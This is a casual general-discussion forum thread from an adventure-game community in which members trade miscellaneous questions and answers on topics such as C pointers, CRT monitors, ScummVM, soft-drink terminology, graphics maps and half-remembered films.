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Community => General Discussion => Topic started by: Stupot on Fri 19/12/2008 20:06:21

Title: Ask something - We can help.
Post by: Stupot on Fri 19/12/2008 20:06:21
I have a question I want to ask but I didn't feel it was important enough to warrant it's own thread clogging up gen-gen.  So I thought I'd create this thread for all those niggling questions which pop up from time to time.

You know when you can remember parts of a film or a song but can't for the life of you remember the title?  Things like that.

So if you think about it in the future and have a niggling question which you don't feel deserves it's own thread (often the query is solved within the first few posts, anyway), then remember this thread lingering around waiting for your posers.  You guys are normally pretty good at these kinds of question.

-------------------------------------------------

So anyway.  Here's my question.

Back when the net was young, you would type in some random website names such as "www.ilovepizza.com" or "www.rhubarbandcustard.co.uk" and it would take you so a website who provided free email addresses based on hundreds and hundreds of such domain names...  I'm assuming they bought the domain names first and then dished out the corresponding email addresses for users... for example I could request "stupot@ilovepizza.com"

I can't remember what the actual website was called, I used to just type in random URLs and i'd eventualy find it...  But this was 10 or so years ago and I havent seen this website for ages...

Can anyone else remember the site that I am thinking of and does it still exist?
If not, what happened to the hundreds of URLs they owened?

cheers
Title: Re: Ask something - We can help.
Post by: RickJ on Sat 20/12/2008 04:41:34
There's always the wayback machine : http://web.archive.org/collections/web.html
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Sat 20/12/2008 14:52:05
Ok, a question that has bothered me for a while.

In C, when you set a pointer to point to an unknown memory slot (either by adding to it or simply setting a number to it), is there any possibility to cause a segmentation fault or any problem at all?

Note I'm talking about pointing somewhere, but not reading/writing over there.

I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.
Title: Re: Ask something - We can help.
Post by: on Sat 20/12/2008 15:22:26
Quote from: Paper Carnival on Sat 20/12/2008 14:52:05
I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.

What you describe is the equivalent of leaving a loaded shotgun lying around. As long as you're alone in the room, nothing will happen because you know that shotguns are harmful things. But as soon as people come in, one of them *will* shoot himself in the foot(*).
You can get errors by using a pointer that way, and also memory leaks and all sorts of other nasty stuff, but you yourself know about that and will be careful. Others using your code will not. And since there is the common saying that code should always be fool-proof, I understand your professor's concerns.  ;)

(*) Heaven knows I always do that ;)
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Sat 20/12/2008 15:55:10
well, basically, we were having an example on how to use pointers instead of arrays.
//p is a pointer
for (i=0; i<MAX; i++)
{
    *p++ = i;
}

I know it's convenient to just say p[i ]=i, but this is for the sake of an example. Note that p is never used again after this code. This shouldn't ever produce a segmentation fault, right? Even though, when the loop ends, the pointer points to a place we don't know... But my professor insists that the above code might cause a segmentation fault.
Title: Re: Ask something - We can help.
Post by: on Sat 20/12/2008 22:46:54
Quote from: Paper Carnival on Sat 20/12/2008 15:55:10
But my professor insists that the above code might cause a segmentation fault.

I'm not rock-steady on the whole pointer issue, but as long as he says MIGHT, he's right. Because at the end of the loop, the pointer could point anywhere, even to a segment of memory another bit of your code is already using. That's where a violation might happen, though the chance is small, and grows smaller the more RAM you have.

Title: Re: Ask something - We can help.
Post by: Paper Carnival on Sun 21/12/2008 01:47:32
Sorry for taking over the thread, but...

I'm not convinced. Every variable, including pointers, has a value when declared (which is what was left in the memory from other programs). Pointers having a "random" value when declared never generated any problems. So why now?

My other professor says that the above code never produces a segmentation fault. As long as you don't access that memory slot in any way (either read or write over it), it's all good.

Another opinion I heard is that it can only produce an error in some operation systems but not all.

I know it's pointless knowing anyway, because nobody would even want to have stray pointers, but it has been bugging me a lot :P
Title: Re: Ask something - We can help.
Post by: LimpingFish on Sun 21/12/2008 02:03:59
How do they get the figs into the Fig Rolls? :-\
Title: Re: Ask something - We can help.
Post by: (deleted) on Sun 21/12/2008 12:02:25
(deleted)
Title: Re: Ask something - We can help.
Post by: on Sun 21/12/2008 13:06:15
Quote
Next Question:
What are the... err, uhh... qualifying, requisite required requirements for an AGS game's eligibility for the 2008 AGS awards? I realize that I'm an idiot for asking, and that's why I'm asking here instead of somewhere else. (Not that anything with me on board is worth the sand in Nelly's sock heels. Just seeking deadline motivation, is all.)

Put it in the big database before 1st Jan 2009 and you're in!
Title: Re: Ask something - We can help.
Post by: RickJ on Sun 21/12/2008 15:55:32
Quote
I personally think there should never be a problem, as long as you don't attempt to read/write over it, which may or may not produce a segmentation fault depending on how lucky you are. Some people seem to disagree, one of them being my professor.
@Paper Carnival:  Your professor is wrong.  A "segmentation fault" is a hardware interrupt generated in response to a memory read/write to an address outside of a range specified by a register or RAM table of some sort.  The setting of a pointer variable to a value will cause a memory write to the address of the pointer variable but not to the address which it contains.   Read and write signals to the pointer's address are not issued until memory at that address is accessed.  Since there is no memory access there will be no interrupt and hence no segmentation fault.  This is all done in hardware so the operating system is irrelevant.   It's entirely possible to have a software segmentation fault checker but the overhead would be extremely high and I have never heard of it being done.

I agree with you that this should never be a problem and I'll give a couple of good reasons why.  First of all let us assume that we have an application that contains some code similar to the one you give.  Further let us assume that this is application is a closed loop controls system controlling the flying surfaces on a 757 Jumbo Jet.  And just to make things interesting let us also assume your professor is a passenger on the same plane flying at 35000 ft.

1.  Fault response - How should our application respond to a segmentation fault of the variety that you describe (i.e. the application is otherwise operating normally and will continue to do so if the fault is ignored)?  There are two obvious choices; abort the application or ignore the fault.  In this instance I believe your professor would prefer the control system ignore inconsequential segmentation faults be ignored rather
plunge to his death.   What about other applications?  Can you name any application where it is better to crash than to continue running normally?  So if the only reasonable response to a fault condition is to ignore it then what purpose does it serve to detect it.

2. Reliability/Maintainability - No suppose our application is very mature.  It has been in use on thousands of aircraft for over a decade.   With millions of total hours of operation our application has proven to be stable and reliable.     Now suppose that a single line of trivial code, unrelated to the pointer in question, is added and the application is recompiled.  What if over all these years that last p++ left p just a byte shy of the segment boundary and the new code pushed it just one byte past.    This is a horrible situation - In a complex application it could be a long time before such a bug finally revealed itself.  In this kind of situation any kind of changes made to the application, regardless of how small or trivial, would incur huge and unacceptable risks.

3. Redundant-Convoluted Code - In the scenario you give in the example the pointer value would have to be tested before incrementing it.   So either there must be a redundant if statement (there is already a p<MAX test) before incrementing the pointer or the loop must be restructured in a less obvious and understandable way (which would also likely involve redundant code in one way or another.   No useful purpose is served by requiring redundant and/or convoluted code.  In my opinion redundant, convoluted code fits Ghost's description of "...leaving a loaded shotgun lying around...." much better than a pointer containing an invalid address.

4. Runtime vs Compile Error - If the compiler were able to pick this up then it could be argued that knowing that a pointer contained an invalid address could be useful in some cases.   However this is not the case; segment faults occur at runtime and may not occur until long after the application has been released and in the field.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 22/12/2008 05:22:59
My unanswered mystery of all time:

Is nerve impulse physical? I mean, is it an electric, bioelectric, anything material we could capture or transfer?
If so, can we redirect nerve impulse into something else? Like a wire? Third string of nerves, like animal ones?
I know that if you lose a finger, it can be sewn back and nerves too. So, it's likely. Why havent anyone then thought about...

-- Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(
Title: Re: Ask something - We can help.
Post by: on Mon 22/12/2008 13:22:13
Quote from: InCreator on Mon 22/12/2008 05:22:59
Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Weird thought, but I can see that this should be possible. All a matter of finding the right nerves and connect those- but it would require a physical connection, wouldn't it? So you'd need to sew these people together somewhere, which has a very Hellraiser touch to it.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Mon 22/12/2008 13:47:47
Thank you RickJ for clearing that up. My professor is often wrong with details like this, but at least the man knows how to teach. It's only my first semester in university and I'm glad I can understand when he's wrong (it's not the first time).

InCreator: I suppose it is possible, but still freaky. And Ghost, I don't think it would require a physical connection, both people could have some kind of transmitter/receiver that picks up the nerve signal and convert it to something else and vice-versa, like a modem works. I'm next to clueless with this stuff, so correct me if I'm wrong.

Oh, the transmitter/receiver idea would make the concept of a voodoo doll possible :D.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 22/12/2008 16:11:03
QuoteOh, the transmitter/receiver idea would make the concept of a voodoo doll possible

Man, think BIG! Think gaming!!!!

A wireless spinal impulse controller! Like play Crysis and actually feel tropical breeze on your face, taste salt water and smell gunpowder... whoah! And coming back to porn... eh
Title: Re: Ask something - We can help.
Post by: Babar on Mon 22/12/2008 16:12:31
I think I know how this movie ends...
The villain overloads the circuits, and kills everyone in real-life that he kills in VR. And then the hero comes and busts everything up.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Mon 22/12/2008 16:18:53
Quote from: InCreator on Mon 22/12/2008 16:11:03
QuoteOh, the transmitter/receiver idea would make the concept of a voodoo doll possible

Man, think BIG! Think gaming!!!!

A wireless spinal impulse controller! Like play Crysis and actually feel tropical breeze on your face, taste salt water and smell gunpowder... whoah! And coming back to porn... eh

That's like... The Matrix.

But now you mention it, wasn't there some kind of experimental microchip they put on someone's brain, and he then was able to kinda move the mouse pointer with his mind ???
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 22/12/2008 16:34:59
Quote from: RickJ on Sat 20/12/2008 04:41:34
There's always the wayback machine : http://web.archive.org/collections/web.html

Thanks Rick... I spent a while on that typing in the kinds of domain names the site would have used, but I'm not getting any results... does anyone else remember what I'm talking about [Re: first post] ?
Title: Re: Ask something - We can help.
Post by: Joseph DiPerla on Mon 22/12/2008 19:19:03
I am looking for a c++ pathfinding library that is supported on atleast windows, mac and linux. Is there any out there that can work just by loading an image as a mask and making that be a pathfinding area? Basically the way any other engine works, just as a c++ library.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 24/12/2008 04:59:19
Someone here in this thread had mentioned something about someone making around 100 games a year, for some kind of competition or for school perhaps?  But the guys ended up not finishing them.

I've been trying to find the thread that someone had made mention of this.  They also supplied a URL to this persons website.  I'm trying to find that website.
I had bookmarked it back in the day, but I formatted not too long ago and it's gone.  I kept meaning to take a good look at the website and games.
Title: Re: Ask something - We can help.
Post by: on Wed 24/12/2008 09:11:25
Quote from: Ryan Timothy on Wed 24/12/2008 04:59:19
Someone here in this thread had mentioned something about someone making around 100 games a year, for some kind of competition or for school perhaps?  But the guys ended up not finishing them.

mhhhhhhh, not really games ( but game mechanics), maybe it is this

http://www.squidi.net/three/thumbs.php?set=1
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 24/12/2008 13:48:47
No one human can make 100 games in a year.  Not half decent ones anyway, and not without recycling the material over and over again... in which case it's 100 parts of one game.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 24/12/2008 16:22:13
Thanks Bici.
Damn this thread IS useful. :P
Title: Re: Ask something - We can help.
Post by: Stupot on Wed 24/12/2008 16:38:30
Quote from: Ryan Timothy on Wed 24/12/2008 16:22:13
Damn this thread IS useful. :P

Nobody's given me an answer to my original question yet :-(
Somebody else must remember, surely?
Title: Re: Ask something - We can help.
Post by: limeTree on Wed 24/12/2008 16:43:11
Quote from: InCreator on Mon 22/12/2008 05:22:59
My unanswered mystery of all time:

Is nerve impulse physical? I mean, is it an electric, bioelectric, anything material we could capture or transfer?
If so, can we redirect nerve impulse into something else? Like a wire? Third string of nerves, like animal ones?
I know that if you lose a finger, it can be sewn back and nerves too. So, it's likely. Why havent anyone then thought about...

-- Is is possible to connect nerves of two people so if one gets hammered onto toe, another one yells?

Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(

it is a chemical process,every cell i think has i think its positive and negative side(electrodes) it is the same one used as electricity but it is so small that even if we could capture i think there would be no great help of that
Title: Re: Ask something - We can help.
Post by: Oliwerko on Thu 25/12/2008 22:51:58
Ok, I would like to know why does the ground cool first in the evening before the air does and respectively, why does the ground warm first in the morning, then the air.
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Fri 26/12/2008 05:11:52
Quote from: Oliwerko on Thu 25/12/2008 22:51:58
Ok, I would like to know why does the ground cool first in the evening before the air does
For the same reason the ground warms first in the morning before the air does.

Quote from: Oliwerko on Thu 25/12/2008 22:51:58and respectively, why does the ground warm first in the morning, then the air.
For the same reason the ground cools first in the evening before the air does.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 26/12/2008 10:12:54
Oh, shame on me, shame on me, how dumb I am!  :-[

....but really why?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sat 27/12/2008 23:45:31
AGS Related:

Why does CTRL+V display version information (while game is playing) even though I disabled the code:

if (keycode==22) Debug(1,0); // Ctrl-V, version


Only curious.
Title: Re: Ask something - We can help.
Post by: MrColossal on Sun 28/12/2008 00:39:05
Quote from: Oliwerko on Thu 25/12/2008 22:51:58
Ok, I would like to know why does the ground cool first in the evening before the air does and respectively, why does the ground warm first in the morning, then the air.

without doing any research into the matter I would guess that the ground retains the heat of the day and lets it off into the air at night which keeps the air warm but the ground gets cooler as it releases it's heat?

Maybe? I dunno?
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sun 28/12/2008 01:05:37
That would be possible, but in reverse? It works in both ways, so air should be then capable of transferring the heat to the ground, which is practically the opposite (?) I don't know.
Title: Re: Ask something - We can help.
Post by: MrColossal on Sun 28/12/2008 03:12:15
Air wouldn't hold heat as well as something solid like rock. So the rock gives the heat off at night and then absorbs it in the day while the heat is just dissipating in the air and not being absorbed, I don't know.

I love all the I don't knows!
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Sun 28/12/2008 05:14:46
Different materials have different heat transfer rate. Try, during day, to touch a stone and then on a piece of iron that were both laid out in broad sunlight, in the same place. Both materials have the same temperature, but iron can transfer heat to your hand at a much faster rate, therefore giving you the illusion that it's hotter.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sun 28/12/2008 10:11:51
A-ha. So in the evening the ground transfers its heat to the air and thus cools first while in the morning it heats up first and then transfers the heat to the colder air. That makes sense.

So the whole thing can be about the fact that ground is giving away/absorbing heat much more rapidly than air?
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sun 28/12/2008 16:35:47
So my newest roommate gave me a computer which I've been greatly enjoying. However there is one slight problem that's been bugging me. On a seemingly random basis, the entire screen just goes black for a second or two.

The monitor he's given me is quite old...so I think it may just be dying of antiquity. However I'm not entirely certain the drivers that Microsoft has installed are exactly right either. I tried installing graphics drivers and the problem persisted...but the bottom line is that drivers are a lot cheaper (FREE*) than a new monitor.

Also I wouldn't want to go and buy a new monitor just to keep having the same problem if it's not the hardware. :-\
Title: Re: Ask something - We can help.
Post by: Babar on Sun 28/12/2008 16:44:34
I have also been having the same problem: I got a new PC, but am using an old monitor (that has been on the top of a shelf collecting dust for some time now). Recently it has started having a similar problem. Every once in a while, it gives this weird *click* noise, goes off for half a second, then comes back on. When it happens, it happens in clusters...like it may happen 10 times in 5 minutes, then the entire day (like today), it has no problem at all.
Title: Re: Ask something - We can help.
Post by: monkey0506 on Sun 28/12/2008 16:51:03
I'm really leaning towards hardware...but it's using a generic driver determined by M$ at the moment....so I have my doubts. 8)

But yes, that's it precisely...sometimes it happens multiple times in a row all at once, other times it won't happen for a while...just kind of sporadically.
Title: Re: Ask something - We can help.
Post by: Oliwerko on Sun 28/12/2008 19:53:42
Bad drivers usually give you only weird graphic artifacts in games. I would say this is not a driver problem and I would bet that the monitor's faulty. But to be certain, I would borrow a monitor if possible, to try out if the problem persists.
Title: Re: Ask something - We can help.
Post by: Gilbert on Mon 29/12/2008 07:41:57
In fact, as lots of hardware behaviour can now be controlled with software configurations, so sometimes graphics driver can affect the card and even the monitor.

For monitors blacking out it's possible that the driver set to a mode that the monitor cannot handle (invalid resolutions or refresh rates) for some split seconds.

I remembered someone discussing one previous Nvidia official driver version can in fact cause permanent damage to the graphic card (as you can control overclocking, etc. hardware features with software) due to overheating of the chip. It's also not surprising that faulty drivers may damage a monitor (especially analog CRTs) by outputting "bad" signals.

I agree that for safety you may try testing with another display first. If the problem persists try upgrading (or downgrading) the drivers and see if it makes a difference.
Title: Re: Ask something - We can help.
Post by: RickJ on Mon 29/12/2008 16:52:05
@Babar:  The monitor in question is a CRT is it not?  If so the clicking sound you hear may be the high voltage electrode arcing across the outside of the picture tube.  This can usually be corrected by just cleaning the outside of the tube around the high voltage electrode with glass cleaner soap and water.  Use something that does not leave a residue.     

@monkey:  This could also be your problem but you made no mention of the tell tale arcing  sound.  It could also be that the high voltage electronics are failing, in which case you will need to replace the monitor.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Mon 29/12/2008 18:24:45
Many years back we had a CRT monitor that would black out randomly whenever you wobbled the desk lightly.
I believe it was the connection on either the power cable or the VGA cable that was wiggling loose from the inner parts of the monitor itself.  I imagine it would have required some soldering, but we ended up getting a replacement anyway.
Title: Re: Ask something - We can help.
Post by: Houchin1012 on Tue 30/12/2008 03:57:52
Here's my question:

What is a good example of a difference between real love and infatuation?
Title: Re: Ask something - We can help.
Post by: MrColossal on Tue 30/12/2008 05:02:17
An infatuation is something that is fleeting, transient. Real love is usually defined by humans to mean something that doesn't go away.

As I understand it
Title: Re: Ask something - We can help.
Post by: MillsJROSS on Tue 30/12/2008 05:15:51
An good example of said infatuation is that girl you masturbate to in the bushes. A good example of love is your significant other pretending to be the girl who you masturbated to in the bushes.

It's a subtle difference, but it's there.

-MillsJROSS
Title: Re: Ask something - We can help.
Post by: MrColossal on Tue 30/12/2008 05:44:12
Oh by the way, Mills, those new shades you got as a present for the holidays are pretty and all but can you leave them open when you get out of a shower... Kinda putting a damper on my infatuation...
Title: Re: Ask something - We can help.
Post by: Shane 'ProgZmax' Stevens on Tue 30/12/2008 11:20:42
I've always wanted to know...

What exactly is your avatar holding, MrColossal?
Title: Re: Ask something - We can help.
Post by: Oliwerko on Tue 30/12/2008 11:28:32
A toy horse, I guess?
I have definitely seen an original photo, this is just a pixel interpretation of it.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 30/12/2008 11:46:29
Is it a second-hand sanitry towel?
Title: Re: Ask something - We can help.
Post by: on Tue 30/12/2008 11:52:40
Quote from: ProgZmax on Tue 30/12/2008 11:20:42
What exactly is your avatar holding, MrColossal?

A sandwich, isn't it?
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 08/01/2009 17:15:56
If the System requirements for a game say 'Pentium III' surely that doesn't mean that ONLY an exact Pentium III processor will run the game.  Short of buying the game and trying my luck, how do I know if the 'Pentium Dual T2370 1.73GHz' processor on my laptop is going to run the game?

Title: Re: Ask something - We can help.
Post by: monkey0506 on Thu 08/01/2009 17:58:36
If the system requirements show a Pentium III (http://en.wikipedia.org/wiki/Pentium_III), they mean, "Pentium III processor or equivalent."

According to Wikipedia's article the maximum clocking speed of any Pentium III processor would be 1.4 GHz. Also this site (http://www.cpubenchmark.net/cpu_list.php) grades your CPU much higher than the Pentium III.

I'm not familiar with the exact processor you're using, but I'd say that as far as your CPU goes, you should be fine. Other factors would include your graphics card and RAM. Note that just because it meets the "System Requirements" listed doesn't strictly mean it will work either. You could be running 1 GB of RAM but if you're running a media player, Windows, MSN, etc, etc, etc...basically you would also need to consider how much of your system's resources are already allotted to your normal functions (those which you would run during gameplay).
Title: Re: Ask something - We can help.
Post by: LimpingFish on Thu 08/01/2009 19:30:36
I want to know if Stupot is the same Stupot who sometimes has messages posted on Channel 4's "GameCentral" teletext service? :D
Title: Re: Ask something - We can help.
Post by: Oliwerko on Fri 09/01/2009 13:24:28
Stu - from my experience, I was sometimes really, I mean REALLY surprised, what my old 1Ghz Athlon, GeForce2 MX400 and 256MB of ram could handle. And, the other way around, it couldn't run some games I was convinced it should. Anyway, the minimum reqs that are shown are usually over-estimated a bit. But sometimes also underestimated.

My advice - always try a demo. After a few experiences and surprises, I don't believe the reqs anymore.
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 09/01/2009 13:50:55
Thanks guys.
It's nice to learn that my processor might just be able to cope with at least some games.
I'll try and get into the habit of finding demos before I buy games... it's the logical thing to do really, and can save good money.

LimpingFish - I haven't posted on teletext for about 8 years, haha.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 10/01/2009 17:21:31
New question -
I want to play DotT on my Vista, but it says 'This system does not support full-screen mode' and won't let me continue.

Is there a way around this, by any chance?
Title: Re: Ask something - We can help.
Post by: Gilbert on Sat 10/01/2009 18:06:18
Use DosBox, or ScummVM?
Title: Re: Ask something - We can help.
Post by: Trent R on Sat 10/01/2009 20:47:01
I recently played DOTT on my Vista laptop using ScummVM, and it worked just fine.


~Trent
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 10/01/2009 22:13:59
Yeh... sorry... don't mind me... every time I play an old Lucasarts game on a different computer I forget about ScummVM... I think last time it was the sound on Sam and Max... and the solution was the same. (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=29782.msg380169#msg380169)  Thanks guys.

[EDIT]
Actually I still have a problem.
ScummVM will let me play Maniac Mansion because it runs straight off the Disc, but to play DotT, I have to install it on my computer first, and that's where the problem seems to be.  It won't let me get that far. Can you remember what you did to get it working Trent?
Title: Re: Ask something - We can help.
Post by: Mantra of Doom on Sun 11/01/2009 04:20:45
All you  need to do is to copy these files off of the CD and put them in a folder on your hard drive
    * MONSTER.SOU
    * TENTACLE.000
    * TENTACLE.001

Title: Re: Ask something - We can help.
Post by: Dualnames on Wed 14/01/2009 14:24:22
Ask something eh..?
Ok, can anyone tell me where to get a midi version(not the chorus, the full song) of the Journey of the Sorcerer ORIGINAL(there's a remix of the hitchhiker's theme which I don't want)?
Title: Re: Ask something - We can help.
Post by: Raider on Wed 14/01/2009 23:55:57
Not sure if this is the one but:

http://download-sheet-music-online.com/eagles.html

Don't get excited, you have to pay...
Title: Re: Ask something - We can help.
Post by: Dualnames on Fri 16/01/2009 09:43:36
Great.. something I can afford to with 0$
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 12/02/2009 23:37:35
Could anyone from the UK answer this question for me?
Feel free to answer it if you are from elsewhere but I'm particularly interested in UK results...  it's for a Linguistics exercise.

What word do you use for carbonated soft drinks?

Some people say 'soda', 'pop', or 'fizzy drinks'.
What term do you use? Is it something else entirely?

I'm plotting the results on a map of the UK so could you also please say which county or city you are from.
Thanks in advance guys. :)
Title: Re: Ask something - We can help.
Post by: miguel on Thu 12/02/2009 23:47:38
(http://i293.photobucket.com/albums/mm54/miguel20000/SodaCan.png)

We get this in Portugal but I don't think that's what you wanted to know, Stu.
Title: Re: Ask something - We can help.
Post by: Domino on Fri 13/02/2009 01:03:38
I use POP

I am from New York State, USA
Title: Re: Ask something - We can help.
Post by: Babar on Fri 13/02/2009 07:29:15
'Cold drinks'. Or 'Soft Drinks' sometimes. 'Soda' I use for club soda/tonic water.
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 13/02/2009 08:21:42
A question:

What is the difference between normal maps and bump maps?

I know that normalmap uses 3 channels color instead of grayscale (bump map).
But does it make difference visually? Is normalmapped brick wall better than bumpmapped? Is rendering faster?

Another one:

How do cubemaps work?

I know that cubemap entities should be placed near reflective (cubemap using) materials. But why? What does entity do? Does it "photograph" surroundings and project reflections onto material? Or what? (I know that this wide topic and methods may vary, but I mean "classical" cubemapping (entity + materials), like Source engine does)
Title: Re: Ask something - We can help.
Post by: Buckethead on Fri 13/02/2009 10:05:38
Bump and normal maps...

I made you a little image
(http://g.imagehost.org/0159/bumpnormal.jpg)

Not sure if it's clear so I'll try to explain.

Bump maps can only define depth with 2 things. It's either lower or higher. Usually pure white is the highest point and pure black the lowest.

Normal maps can define depth from more sides.

I hope that makes sense lol.

Cubemaps...

Cubemap entities are appearently used in Source to give materials (especially refections) a more proper specularity.

I wonder why there isn't just a Specular channel. Oh well not every engine is as cool as Unreal engine  :=



Title: Re: Ask something - We can help.
Post by: zabnat on Fri 13/02/2009 10:53:29
Quote from: Stupot on Thu 12/02/2009 23:37:35
What word do you use for carbonated soft drinks?
Limu, limppa or limppari.
And I'm not from UK. ;D
Title: Re: Ask something - We can help.
Post by: paolo on Fri 13/02/2009 13:13:47
Quote from: MillsJROSS on Tue 30/12/2008 05:15:51
An good example of said infatuation is that girl you masturbate to in the bushes. A good example of love is your significant other pretending to be the girl who you masturbated to in the bushes.

It's a subtle difference, but it's there.

-MillsJROSS

You and Mr Boon (http://en.wikipedia.org/wiki/Mills_%26_Boon) write such romantic stuff...

@Stupot: I would say most people say "fizzy drinks" here in London in the UK. Or if you are in the industry that makes them, "carbonated drinks".

@Buckethead: Isn't a normal map just a representation of the actual normals of a surface, while a bump map is a modification of a normal map in order to simulate texture by changing the results the lighting model gives when applied to the surface?

My question, and it's a two-parter:

a. Why do cyclists' magazines claim that it is safer for a cyclist to go through a red light than to wait? If you're waiting alongside a juggernaut that's about to turn in front of you, then yes, you are in a dangerous spot, but getting hit side-on from traffic crossing your path is just as dangerous, surely?

b. Why do so many cyclists (not all cyclists - I don't want to generalise) in the UK think it's OK to cycle on the pavement (the sidewalk) or to go the wrong way up a one-way street? Do their magazines tell them to do that too? If it's because they think the road is too dangerous, then why cycle at all?

OK, rant over.
Title: Re: Ask something - We can help.
Post by: InCreator on Fri 13/02/2009 17:23:18
Quote from: paolo on Fri 13/02/2009 13:13:47
a. Why do cyclists' magazines claim that it is safer for a cyclist to go through a red light than to wait? If you're waiting alongside a juggernaut that's about to turn in front of you, then yes, you are in a dangerous spot, but getting hit side-on from traffic crossing your path is just as dangerous, surely?

Huh? By our traffic laws a driver does not have to stop car if bicyclist rides when it's red light. Also, no need to stop if bicyclist rides on a crossing without lights (such as single zebra). When he walks and the cycle is with him, car must stop. When he's on the bike, he's not considered pedestrian and must obey same traffic laws as cars.

It was quite strange when a bicyclist rode over crossing and my driving instructor told me not to slow down.

But I think that suggestion means that if you cross on bike, it's probably safer to maintain speed than stop and try to start gathering speed while on crossing. I've fallen badly off the bike in the center of intersection and stoplights for cars turned green... it was quite terrifying. Exactly because I could not achieve enough speed to balance bike and rode down a walkway curb, which made bike bump and me fall.

That's just a theory though.
Title: Re: Ask something - We can help.
Post by: Revan on Wed 04/03/2009 07:26:56
Quote from: InCreator on Mon 22/12/2008 05:22:59
Also, another big riddle is - where could I actually get answers to questions like this? I mean, apart from having physics/anatomy/whatever professor as a friend? Internet might have everything, but sometimes seems to lack very basic knowledge of scientific progress. Wikipedia/howstuffworks/etc well-known sites are brief and other sites are either well hidden or non-existing.

Kind of sad that the flagship of information age can satisfy any crazy request for porn, but not knowledge...  >:(

Well if you live in the UK there is a place you can txt with any question and leave them to search the internet for an answer. There is a huge team of them. (Plus it is likely that some one has already asked your question and they have an answer.) It costs £1 tho, so make sure its a good question.

I have used them a number of times, if i have needed an answer and have been away from an internet connection. or if I can't find the answer online. They usualy txt back within 30 mins. (Max i have waited was about 2 hours)

The company is called AQA (Any Question Answered) and the number to txt is : 63336

Hope this helps anyone...


@Stupot:   I live just north of Manchester and pretty much all of the people i know call them Cans   
eg:  "Hi, would you like a Can of <insert generic drink> ?"
But at the same time we do not refer to the generic drink as anything other than its brand name or 'Can'
eg:  "Could you pass us a can out of the fridge"

Hope this helps...

Title: Re: Ask something - We can help.
Post by: Trent R on Wed 04/03/2009 08:00:48
Revan, that reminds me of ChaCha (http://www.chacha.com/), a US based texting service that does the same thing. Cool thing is that it's free, except for whatever charges your carrier has.


~Trent
PS-Oooh, just found out they allow calling too!
Title: Re: Ask something - We can help.
Post by: Oliwerko on Thu 05/03/2009 06:24:03
I want to ask if possesion or usage of surveillance equipment like wireless microphones, phone bugs or even abusive devices like nausea-causing transmitters is illegal. Or does it vary from country to country? I was always fascinated with eavesdropping and today I ask myself, if it's illegal to posess such equipment...

Thanks for pointers, law-guys !  ;)
Title: Re: Ask something - We can help.
Post by: Babar on Thu 09/04/2009 15:04:26
I have use for this thread, so I dredged it up!

I'm trying to remember the title of this movie I saw, and I'd google it, but I wouldn't know which words to use to search for it.

I think it was some sort of TV-movie or TV-miniseries or something, because I remember watching it on TV over a period of a few weeks. It was a cowboy western, and involved a teenager kid who dressed in black and did remarkably violent things (clichéd, right? :D). I specifically remember his walking ominously into someone's house (or out of it?) with a hangman's rope. It also had this "old adventurer past his prime" character who had to have his leg chopped off at some point in the movie.

Sorry I couldn't be any more specific. If someone knows of it, I'd appreciate telling me!
Title: Re: Ask something - We can help.
Post by: Dualnames on Thu 09/04/2009 15:41:02
Was the kid, DiCaprio?
Title: Re: Ask something - We can help.
Post by: Babar on Thu 09/04/2009 15:56:27
I...don't think so. Are you talking about "The Quick and the Dead"? Because DiCaprio doesn't seem to be a villainous character in that, and it only seems to be 107 minutes long.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 09/04/2009 16:11:42
The only Western miniseries that springs to my mind is 'Into the West' (http://www.imdb.com/title/tt0409572/), but I haven't seen it so I wouldn't know if this matches what you're talking about.

When did you see it, and is it an old thing or relatively recent?
Title: Re: Ask something - We can help.
Post by: Babar on Thu 09/04/2009 18:41:47
I saw it some time between 1999 and 2003, I think. It was a colour movie, seemed on of those "good quality" colour movies (ie. made at least in the 80s or later).
Title: Re: Ask something - We can help.
Post by: Stupot on Sun 12/04/2009 13:23:54
Did you find your answer Babs?
Any more clues or details you can think of?

I've got one... can anyone remember the name of the talking robot from Hollyoaks a number of years ago?
No-one seems to know what I'm talking about, but I know I'm not making it up.
Title: Re: Ask something - We can help.
Post by: Babar on Sun 12/04/2009 15:44:45
Nope, still don't know :(.
